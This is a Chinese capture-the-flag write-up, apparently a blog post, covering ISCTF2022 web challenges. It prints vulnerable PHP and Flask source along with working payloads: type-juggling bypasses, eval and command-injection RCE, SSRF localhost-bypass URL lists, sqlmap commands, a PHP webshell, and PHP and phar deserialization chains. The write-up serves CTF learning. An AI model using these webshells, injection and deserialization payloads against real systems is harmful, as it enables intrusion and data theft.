ISCTF2022 web wp

更好体验前往个人博客 传送门

EASY-PHP01

image-20221110195454972

get传参 ?hint

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
<?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
    if (isset($_POST['ISCTF'])) {
        $ISCTF = $_POST['ISCTF'];
        if($ISCTF == 114514){
            if($ISCTF === "114514"){
                echo "好臭啊";
            }else{
                echo $flag;
            }
        }else{
            echo "= == === != !==";
        }
    }else{
        echo "什么是POST?";
    }
}else{
    echo " 什么是GET?";
}
什么是POST

弱类型比较绕过
POST: ISCTF=114514a

EASY-PHP02

<?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
    echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
    echo "做题前请告诉我你是小蓝鲨吗?";
    exit();
}
if (is_numeric($POST1)){
    if ($_GET["P0ST1"] != $_GET["P0ST2"]){
        
        if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

                $f1=$flag1;
                echo "小蓝鲨成功一半".$f1;              
            }
    }
}

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
    if( $GET1 == 0 ){
        echo "<br>"."前面的出来了吗?";
        if(is_numeric($GET2)){
            exit();
        }
        if($GET2 > 678){
            echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";     
            $Ag=base64_encode($flag2);
            }
    }
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
做题前请告诉我你是小蓝鲨吗?

先传入your name进入下一个判断
P0ST1不等于P0ST2,但是P0ST1等于P0ST2的md5值,这是md5的弱碰撞
GET1过滤了纯数字,用字母绕过,GET2大于678,不能为数字,数组绕过
构造payload:
GET: http://120.79.18.34:20120/?NAME=111&P0ST1=0&P0ST2=s1502113478a
POST: GET1=a&GET2[]=690

前半段是hex解码 ISCTF{0d4c
后半段是base64解码,再Unicode解码 6e9a-51a9-45bf-8a6d-513cdf7b530c}

FakeWeb


burpsuite抓包
发现跳转页面

经过查阅资料,发现If-None-Match和ETag是解题关键点

当浏览器请求服务器的某项资源(A)时, 服务器根据A算出一个哈希值(3f80f-1b6-3e1cb03b)并通过 ETag 返回给浏览器,浏览器把"3f80f-1b6-3e1cb03b" 和 A 同时缓存在本地,当下次再次向服务器请求A时,会通过类似 If-None-Match: “3f80f-1b6-3e1cb03b” 的请求头把ETag发送给服务器,服务器再次计算A的哈希值并和浏览器返回的值做比较,如果发现A发生了变化就把A返回给浏览器(200),如果发现A没有变化就给浏览器返回一个304未修改。这样通过控制浏览器端的缓存,可以节省服务器的带宽,因为服务器不需要每次都把全量数据返回给客户端。
聪明的服务器开发者会把ETags和GET请求的“If-None-Match”头一起使用,这样可利用客户端(例如浏览器)的缓存。因为服务器首先产生ETag,服务器可在稍后使用它来判断页面是否已经被修改。本质上,客户端通过将该记号传回服务器要求服务器验证其(客户端)缓存。
其过程如下:
1. 客户端请求一个页面(A)。 服务器返回页面A,并在给A加上一个ETag。 客户端展现该页面,并将页面连同ETag一起缓存。 2. 客户再次请求页面A,并将上次请求时服务器返回的ETag一起传递给服务器。
3. 服务器检查该ETag,并判断出该页面自上次客户端请求之后还未被修改,直接返回响应304(未修改——Not Modified)和一
个空的响应体。

就是说要If-None-Match和ETag的值不相等才会返回一个新的页面,更改If-None-Match的值,然后进行发包

simplephp

<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

if(preg_match($pattern,$str,$arr))
{
    echo "good try!";
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        echo "come on!!!";
        if($num=='36'&isset($_GET['cmd'])){

                eval($_GET['cmd']);



        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }




}

num不等于36,去空后不等于36,经过过滤后等于36
主要就是绕过trim
trim过滤了 0a 09 0b 没有过滤0c(换页键)可以试试

?str=\\/Ilikeisctf&num=%0c36&cmd=system(‘ls /’);

?str=\\/Ilikeisctf&num=%0c36&cmd=system(‘tac /flag’);

curl


IP地址伪造,服务端请求伪造,**?urls=http://127.0.0.1/flag.php **
这个不行,不能绕过,试一下?urls=http://0/flag.php

url=http://0x7F.0.0.1/flag.php 十六进制
url=http://0177.0.0.1/flag.php 八进制 还有一个疑惑就是二进制应该也可以 但是该怎么区分进制呢?
url=http://2130706433/flag.php 10 进制整数格式 (??)这什么操作
url=http://0x7F000001/flag.php 16 进制整数格式

url=http://127.1/flag.php
url=http://0/flag.php
url=http://127.0000000000000.001/flag.php

url=http://0.0.0.0/flag.php

url=http://127.127.127.127/flag.php CIDR

以下为常用绕过方式 但本题不行的解法

短标签绕过
ipv6绕过[::1]
url=http://127。0。0。1/flag.php 句号
参考博客

eazy-onlineshell


根据提示先传个rce

再查看备份文件



查看源码

import flask
import subprocess

app = flask.Flask(__name__)


@app.route("/")
def hello_world():
    return "Try to access the /rce"


@app.route("/www.zip")
def return_SourceCode():
    with open("./app.py", "r") as f:   //访问www.zip会打开app.py
        return f.read()
    
    
    @app.route("/rce", methods=['GET', 'POST'])
    def action_rce():
        if flask.request.method == "GET":
            return "Why not try to search the backup"
        elif flask.request.method == "POST":
            action = flask.request.form["act"]   //在post传入act,写入命令
            with open("/app/temp.sh", "w") as f:
                f.write(action[1:-1])    //切片,截取第二个和倒数第二个字符之间的
                res = subprocess.run(["/bin/bash", "/app/temp.sh"], stdout=subprocess.PIPE)
                # print(res)
                return "success"
            
            
            if __name__ == '__main__':
                app.run(debug=True)

可以把文件写入app.py中,找不到其他可以利用的目录文件

把ls写入app.py 无回显,所以要访问www.zip执行app.py
act=‘ls >app.py’

访问flag act=‘tac flag>app.py’

傻柱


猜测是sql注入,但是不知道注入类型,登入login页面看一下

没发现什么可以利用的东西
burp suite扫一下,发现存在User - Agent注入,(需要等一会,一开始会检测不出来)

sqlmap一把梭
针对User - Agent的值探测SQL注入,需要设置 --level值为3
sqlmap -u http://120.79.18.34:20177///login.php --level 3 --dbs

sqlmap -u http://120.79.18.34:20177///login.php --level 3 -D ctf --tables

sqlmap -u http://120.79.18.34:20177///login.php --level 3 -D ctf -T user_agents --columns --dump

easy_upload


存在www.rar文件

<?php
  error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
  if (preg_match("/flag|\.\.|\/\//i", $file)) {
    echo "no hack";
    exit();
  } 
  include $file;
}else{
  include("upload.php");
}
?>

GIF89a

<?php eval($_REQUEST['cmd']);?>

rce?

  • 用post把shell传上服务器,在shell里面写好我们想执行的代码
  • .或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那就可以利用.来执行它

我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母
p


<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
  </head>
  <body>
    <form action="http://120.79.18.34:20176/" method="POST" enctype="multipart/form-data">
      <input type="file" name="file" id="file">
      <input type="submit" name="submit" value="submit">
    </form>
  </body>
</html>

?shell=?><?=`.+/%3F%3F%3F/%3F%3F%3F%3F%3F%3F%3F%3F[%40-[]`%3B?>

猫和老鼠

<?php
  //flag is in flag.php
  highlight_file(__FILE__);
error_reporting(0);

class mouse
{
  public $v;
  
  public function __toString()  //在需要字符串值的地方会自动调用它进行对象的类型转换
  {
    echo "Good. You caught the mouse:";
    include($this->v);
    
  }
  
}


class cat
{
  public $a;
  public $b;
  public $c;
  
  
  public function __destruct(){
    $this->dog();
    $this->b = $this->c;  //c影响b,同时会影响a
    die($this->a);     //相当于echo,和tostring一起利用
  }
  public function dog()
  { 
    $this->a = "I'm a vicious dog, Kitty";    
  }
}

unserialize($_GET["cat"]);   //反序列化

?>

脚本

<?php
class mouse
{
    public $v;

    public function __construct()
    {
        $this->v = "php://filter/convert.base64-encode/resource=flag.php";
    }

}

class cat
{
    public $a;
    public $b;
    public $c;

    public function __construct()
    {
        $this->a = &$this->b;  //&引用
        $this->b = "xxx";
        $this->c = new mouse();   //c->b->a   ,调用include函数
    }

}

echo serialize(new cat());
?>


?cat=O:3:“cat”:3:{s:1:“a”;s:3:“xxx”;s:1:“b”;R:2;s:1:“c”;O:5:“mouse”:1:{s:1:“v”;s:52:“php://filter/convert.base64-encode/resource=flag.php”;}}

base64解码

upload

<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}


class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}


这个是phar反序列化的触发函数
构造payload

<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;
    public function __construct(){
        $this->filename = '/flag';
    }
}
$p = new upload();
$phar = new Phar("test.phar");//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");//设置stub
$phar->setMetadata($p);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

要被自己蠢死,没有运行脚本直接上传,能出flag才怪,好丢人啊啊啊😭
运行脚本后产生phar文件,改成jpg格式上传,然后访问,就能得到flag

其中好多题都是大佬教给我做的,感谢,tql !😍

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值